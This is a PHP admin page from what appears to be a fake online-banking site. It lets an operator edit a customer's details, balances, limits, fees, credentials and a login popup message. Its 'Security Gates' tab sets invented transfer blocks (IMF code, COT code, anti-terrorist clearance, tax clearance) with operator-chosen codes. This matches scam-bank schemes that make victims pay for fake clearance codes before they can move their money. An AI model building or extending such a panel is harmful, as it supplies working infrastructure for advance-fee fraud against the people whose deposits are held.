<?php
require_once '../includes/config.php';
require_once '../includes/functions.php';
require_once '../includes/auth.php';
requireAdminLogin();

$uid2 = (int)($_GET['id'] ?? 0);
if (!$uid2) { header('Location: /admin/users.php'); exit; }

$user = getUserById($pdo, $uid2);
if (!$user) { flash('error','User not found.'); header('Location: /admin/users.php'); exit; }

$error = ''; $success = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && verify_csrf()) {
    $action = $_POST['action'] ?? 'update';

    if ($action === 'update') {
        $pdo->prepare("UPDATE users SET
          first_name=?,last_name=?,email=?,phone=?,date_of_birth=?,address=?,city=?,country=?,state=?,postal_code=?,
          gender=?,occupation=?,employer=?,account_type=?,account_status=?,kyc_status=?,currency=?,annual_income=?,
          enable_otp=?,enable_imf=?,imf_code=?,enable_cot=?,cot_code=?,enable_anti_terrorist=?,anti_terrorist_code=?,
          enable_tax_clearance=?,tax_clearance_code=?,require_kyc_for_transfer=?,transfer_fee_enabled=?,
          transfer_fee_type=?,transfer_fee_value=?,show_popup=?,popup_message=?,
          transfer_limit_single=?,transfer_limit_daily=?,wire_transfer_min=?,wire_transfer_max=?
          WHERE id=?")->execute([
            trim($_POST['first_name']??''),trim($_POST['last_name']??''),trim($_POST['email']??''),
            trim($_POST['phone']??''),$_POST['date_of_birth']??null,trim($_POST['address']??''),
            trim($_POST['city']??''),trim($_POST['country']??''),trim($_POST['state']??''),trim($_POST['postal_code']??''),
            $_POST['gender']??null,trim($_POST['occupation']??''),trim($_POST['employer']??''),
            $_POST['account_type']??'savings',$_POST['account_status']??'pending',$_POST['kyc_status']??'pending',
            $_POST['currency']??'USD',(float)($_POST['annual_income']??0),
            isset($_POST['enable_otp'])?1:0,isset($_POST['enable_imf'])?1:0,trim($_POST['imf_code']??''),
            isset($_POST['enable_cot'])?1:0,trim($_POST['cot_code']??''),
            isset($_POST['enable_anti_terrorist'])?1:0,trim($_POST['anti_terrorist_code']??''),
            isset($_POST['enable_tax_clearance'])?1:0,trim($_POST['tax_clearance_code']??''),
            isset($_POST['require_kyc_for_transfer'])?1:0,isset($_POST['transfer_fee_enabled'])?1:0,
            $_POST['transfer_fee_type']??'percentage',(float)($_POST['transfer_fee_value']??0),
            isset($_POST['show_popup'])?1:0,trim($_POST['popup_message']??''),
            (float)($_POST['transfer_limit_single']??1000),(float)($_POST['transfer_limit_daily']??5000),
            (float)($_POST['wire_transfer_min']??10),(float)($_POST['wire_transfer_max']??100000),
            $uid2,
        ]);
        if (!empty($_POST['new_password'])) {
            $pdo->prepare("UPDATE users SET password=? WHERE id=?")->execute([password_hash($_POST['new_password'],PASSWORD_DEFAULT),$uid2]);
        }
        if (!empty($_POST['new_pin']) && preg_match('/^\d{4}$/', $_POST['new_pin'])) {
            $pdo->prepare("UPDATE users SET pin=? WHERE id=?")->execute([password_hash($_POST['new_pin'],PASSWORD_DEFAULT),$uid2]);
        }
        logActivity($pdo, $uid2, (int)$_SESSION['admin_id'], 'admin_edit_user', 'Admin updated user profile');
        flash('success','User updated successfully.');
        header('Location: /admin/user-edit.php?id='.$uid2); exit;
    }
}

$user = getUserById($pdo, $uid2); // Refresh
$userTxns = $pdo->prepare("SELECT * FROM transactions WHERE user_id=? ORDER BY created_at DESC LIMIT 20");
$userTxns->execute([$uid2]); $txns = $userTxns->fetchAll();
$userKyc = $pdo->prepare("SELECT * FROM kyc_documents WHERE user_id=? ORDER BY created_at DESC LIMIT 5");
$userKyc->execute([$uid2]); $kycDocs = $userKyc->fetchAll();
$pageTitle = 'Edit User: ' . $user['first_name'] . ' ' . $user['last_name'];
?>
<?php include '../includes/header.php'; ?>
<div class="d-flex justify-content-between align-items-center mb-3">
  <div class="page-title mb-0"><i class="fa fa-user-edit me-2 text-danger"></i>Edit User: <?= sanitize($user['first_name'].' '.$user['last_name']) ?></div>
  <a href="/admin/users.php" class="btn btn-sm btn-outline-secondary"><i class="fa fa-arrow-left me-1"></i>Back</a>
</div>

<div class="row g-4">
  <div class="col-md-4">
    <!-- User Summary -->
    <div class="card mb-3 text-center p-3">
      <?php if ($user['avatar']): ?>
      <img src="/uploads/avatars/<?= sanitize($user['avatar']) ?>" class="rounded-circle mx-auto mb-2" width="80" height="80" style="object-fit:cover;border:3px solid var(--primary)">
      <?php else: ?>
      <div class="rounded-circle mx-auto mb-2 d-flex align-items-center justify-content-center" style="width:80px;height:80px;background:var(--primary);color:#fff;font-size:2rem;"><i class="fa fa-user"></i></div>
      <?php endif; ?>
      <h6 class="fw-bold"><?= sanitize($user['first_name'].' '.$user['last_name']) ?></h6>
      <div class="small text-muted"><?= sanitize($user['email']) ?></div>
      <div class="small text-muted"><?= sanitize($user['account_number']) ?></div>
      <div class="mt-2"><?= statusBadge($user['account_status']) ?> <?= statusBadge($user['kyc_status']) ?></div>
    </div>
    <div class="card">
      <div class="card-body">
        <div class="d-flex justify-content-between mb-2 small"><span>Balance</span><strong class="text-success"><?= money((float)$user['account_balance'],$user['currency']) ?></strong></div>
        <div class="d-flex justify-content-between mb-2 small"><span>Available</span><strong><?= money((float)$user['available_balance'],$user['currency']) ?></strong></div>
        <div class="d-flex justify-content-between mb-2 small"><span>Last Login</span><span><?= $user['last_login'] ? timeAgo($user['last_login']) : 'Never' ?></span></div>
        <div class="d-flex justify-content-between small"><span>IP</span><code><?= sanitize($user['last_login_ip']??'—') ?></code></div>
      </div>
    </div>
    <!-- Recent Transactions -->
    <div class="card mt-3">
      <div class="card-header">Recent Transactions</div>
      <div class="card-body p-0">
        <?php if (empty($txns)): ?>
        <p class="text-muted small text-center p-3">No transactions.</p>
        <?php else: foreach (array_slice($txns,0,5) as $t): $isC=$t['transaction_type']==='credit'; ?>
        <div class="d-flex align-items-center gap-2 p-2 border-bottom small">
          <div class="<?= $isC?'text-success':'text-danger' ?>"><i class="fa fa-arrow-<?= $isC?'down':'up' ?>"></i></div>
          <div class="flex-grow-1 text-truncate"><?= sanitize(substr($t['description'],0,25)) ?></div>
          <div class="fw-bold <?= $isC?'text-success':'text-danger' ?>"><?= ($isC?'+':'-').money((float)$t['amount'],$t['currency']) ?></div>
        </div>
        <?php endforeach; endif; ?>
      </div>
    </div>
  </div>

  <div class="col-md-8">
    <form method="POST">
      <?= csrf_field() ?><input type="hidden" name="action" value="update">
      <!-- Nav tabs -->
      <ul class="nav nav-tabs mb-3">
        <li class="nav-item"><a class="nav-link active" data-bs-toggle="tab" href="#tabPersonal">Personal</a></li>
        <li class="nav-item"><a class="nav-link" data-bs-toggle="tab" href="#tabAccount">Account</a></li>
        <li class="nav-item"><a class="nav-link" data-bs-toggle="tab" href="#tabSecurity">Security Gates</a></li>
        <li class="nav-item"><a class="nav-link" data-bs-toggle="tab" href="#tabPasswords">Credentials</a></li>
        <li class="nav-item"><a class="nav-link" data-bs-toggle="tab" href="#tabPopup">Popup</a></li>
      </ul>
      <div class="tab-content">
        <div class="tab-pane fade show active" id="tabPersonal">
          <div class="card"><div class="card-body">
            <div class="row g-3">
              <div class="col-md-6"><label class="form-label">First Name</label><input type="text" name="first_name" class="form-control" value="<?= sanitize($user['first_name']) ?>"></div>
              <div class="col-md-6"><label class="form-label">Last Name</label><input type="text" name="last_name" class="form-control" value="<?= sanitize($user['last_name']) ?>"></div>
              <div class="col-md-6"><label class="form-label">Email</label><input type="email" name="email" class="form-control" value="<?= sanitize($user['email']) ?>"></div>
              <div class="col-md-6"><label class="form-label">Phone</label><input type="text" name="phone" class="form-control" value="<?= sanitize($user['phone']??'') ?>"></div>
              <div class="col-md-6"><label class="form-label">DOB</label><input type="date" name="date_of_birth" class="form-control" value="<?= $user['date_of_birth'] ?>"></div>
              <div class="col-md-6"><label class="form-label">Gender</label><select name="gender" class="form-select"><option value="">—</option><option value="male" <?= $user['gender']==='male'?'selected':'' ?>>Male</option><option value="female" <?= $user['gender']==='female'?'selected':'' ?>>Female</option></select></div>
              <div class="col-md-6"><label class="form-label">Country</label><input type="text" name="country" class="form-control" value="<?= sanitize($user['country']??'') ?>"></div>
              <div class="col-md-6"><label class="form-label">City</label><input type="text" name="city" class="form-control" value="<?= sanitize($user['city']??'') ?>"></div>
              <div class="col-12"><label class="form-label">Address</label><textarea name="address" class="form-control" rows="2"><?= sanitize($user['address']??'') ?></textarea></div>
              <div class="col-md-4"><label class="form-label">State</label><input type="text" name="state" class="form-control" value="<?= sanitize($user['state']??'') ?>"></div>
              <div class="col-md-4"><label class="form-label">Postal Code</label><input type="text" name="postal_code" class="form-control" value="<?= sanitize($user['postal_code']??'') ?>"></div>
              <div class="col-md-4"><label class="form-label">Annual Income</label><input type="number" name="annual_income" class="form-control" value="<?= $user['annual_income'] ?>"></div>
              <div class="col-md-6"><label class="form-label">Occupation</label><input type="text" name="occupation" class="form-control" value="<?= sanitize($user['occupation']??'') ?>"></div>
              <div class="col-md-6"><label class="form-label">Employer</label><input type="text" name="employer" class="form-control" value="<?= sanitize($user['employer']??'') ?>"></div>
            </div>
          </div></div>
        </div>
        <div class="tab-pane fade" id="tabAccount">
          <div class="card"><div class="card-body">
            <div class="row g-3">
              <div class="col-md-6"><label class="form-label">Account Type</label><select name="account_type" class="form-select"><option value="savings" <?= $user['account_type']==='savings'?'selected':'' ?>>Savings</option><option value="checking" <?= $user['account_type']==='checking'?'selected':'' ?>>Checking</option><option value="business" <?= $user['account_type']==='business'?'selected':'' ?>>Business</option></select></div>
              <div class="col-md-6"><label class="form-label">Account Status</label><select name="account_status" class="form-select"><option value="active" <?= $user['account_status']==='active'?'selected':'' ?>>Active</option><option value="pending" <?= $user['account_status']==='pending'?'selected':'' ?>>Pending</option><option value="suspended" <?= $user['account_status']==='suspended'?'selected':'' ?>>Suspended</option><option value="closed" <?= $user['account_status']==='closed'?'selected':'' ?>>Closed</option></select></div>
              <div class="col-md-6"><label class="form-label">KYC Status</label><select name="kyc_status" class="form-select"><option value="pending" <?= $user['kyc_status']==='pending'?'selected':'' ?>>Pending</option><option value="under_review" <?= $user['kyc_status']==='under_review'?'selected':'' ?>>Under Review</option><option value="verified" <?= $user['kyc_status']==='verified'?'selected':'' ?>>Verified</option><option value="rejected" <?= $user['kyc_status']==='rejected'?'selected':'' ?>>Rejected</option></select></div>
              <div class="col-md-6"><label class="form-label">Currency</label><select name="currency" class="form-select"><option value="USD" <?= $user['currency']==='USD'?'selected':'' ?>>USD</option><option value="GBP" <?= $user['currency']==='GBP'?'selected':'' ?>>GBP</option><option value="EUR" <?= $user['currency']==='EUR'?'selected':'' ?>>EUR</option><option value="NGN" <?= $user['currency']==='NGN'?'selected':'' ?>>NGN</option></select></div>
              <div class="col-md-6"><label class="form-label">Transfer Fee Type</label><select name="transfer_fee_type" class="form-select"><option value="percentage" <?= $user['transfer_fee_type']==='percentage'?'selected':'' ?>>Percentage</option><option value="fixed" <?= $user['transfer_fee_type']==='fixed'?'selected':'' ?>>Fixed</option></select></div>
              <div class="col-md-6"><label class="form-label">Fee Value</label><input type="number" name="transfer_fee_value" class="form-control" step="0.01" value="<?= $user['transfer_fee_value'] ?>"></div>
              <div class="col-md-6"><label class="form-label">Single Transfer Limit</label><input type="number" name="transfer_limit_single" class="form-control" step="0.01" value="<?= $user['transfer_limit_single'] ?>"></div>
              <div class="col-md-6"><label class="form-label">Daily Transfer Limit</label><input type="number" name="transfer_limit_daily" class="form-control" step="0.01" value="<?= $user['transfer_limit_daily'] ?>"></div>
              <div class="col-md-6"><label class="form-label">Wire Min</label><input type="number" name="wire_transfer_min" class="form-control" step="0.01" value="<?= $user['wire_transfer_min'] ?>"></div>
              <div class="col-md-6"><label class="form-label">Wire Max</label><input type="number" name="wire_transfer_max" class="form-control" step="0.01" value="<?= $user['wire_transfer_max'] ?>"></div>
              <div class="col-md-6"><div class="form-check mt-3"><input class="form-check-input" type="checkbox" name="transfer_fee_enabled" id="fee_en" <?= $user['transfer_fee_enabled']?'checked':'' ?>><label class="form-check-label" for="fee_en">Enable Transfer Fee</label></div></div>
              <div class="col-md-6"><div class="form-check mt-3"><input class="form-check-input" type="checkbox" name="require_kyc_for_transfer" id="kyc_tf" <?= $user['require_kyc_for_transfer']?'checked':'' ?>><label class="form-check-label" for="kyc_tf">Require KYC for Transfers</label></div></div>
            </div>
          </div></div>
        </div>
        <div class="tab-pane fade" id="tabSecurity">
          <div class="card"><div class="card-body">
            <p class="text-muted small">Enable security gates that the user must pass before completing a transfer.</p>
            <div class="row g-3">
              <?php $gates = [
                ['enable_otp',null,'OTP (Email verification)'],
                ['enable_imf','imf_code','IMF Code'],
                ['enable_cot','cot_code','COT Code'],
                ['enable_anti_terrorist','anti_terrorist_code','Anti-Terrorist Clearance (ATC)'],
                ['enable_tax_clearance','tax_clearance_code','Tax Clearance (TXC)'],
              ]; foreach ($gates as [$chk,$code,$label]): ?>
              <div class="col-12">
                <div class="d-flex align-items-center gap-3 p-3 border rounded">
                  <div class="form-check mb-0">
                    <input class="form-check-input" type="checkbox" name="<?= $chk ?>" id="<?= $chk ?>" <?= $user[$chk]?'checked':'' ?>>
                    <label class="form-check-label fw-bold" for="<?= $chk ?>"><?= $label ?></label>
                  </div>
                  <?php if ($code): ?>
                  <div class="flex-grow-1">
                    <input type="text" name="<?= $code ?>" class="form-control form-control-sm" placeholder="<?= ucfirst(str_replace('_',' ',$code)) ?>" value="<?= sanitize($user[$code]??'') ?>">
                  </div>
                  <?php endif; ?>
                </div>
              </div>
              <?php endforeach; ?>
            </div>
          </div></div>
        </div>
        <div class="tab-pane fade" id="tabPasswords">
          <div class="card"><div class="card-body">
            <div class="row g-3">
              <div class="col-12"><label class="form-label">New Password <small class="text-muted">(leave blank to keep current)</small></label><input type="password" name="new_password" class="form-control"></div>
              <div class="col-12"><label class="form-label">New Transaction PIN <small class="text-muted">(4 digits, leave blank to keep)</small></label><input type="password" name="new_pin" class="form-control" maxlength="4" pattern="\d{4}"></div>
            </div>
          </div></div>
        </div>
        <div class="tab-pane fade" id="tabPopup">
          <div class="card"><div class="card-body">
            <div class="form-check mb-3"><input class="form-check-input" type="checkbox" name="show_popup" id="show_popup" <?= $user['show_popup']?'checked':'' ?>><label class="form-check-label" for="show_popup">Show popup message when user logs in</label></div>
            <div class="mb-3"><label class="form-label">Popup Message</label><textarea name="popup_message" class="form-control" rows="4" placeholder="Enter message to show user on login..."><?= sanitize($user['popup_message']??'') ?></textarea></div>
          </div></div>
        </div>
      </div>
      <div class="mt-3 d-flex gap-2">
        <button class="btn btn-primary fw-bold px-4"><i class="fa fa-save me-2"></i>Save Changes</button>
        <a href="/admin/users.php" class="btn btn-outline-secondary">Cancel</a>
      </div>
    </form>
  </div>
</div>
<?php include '../includes/footer.php'; ?>
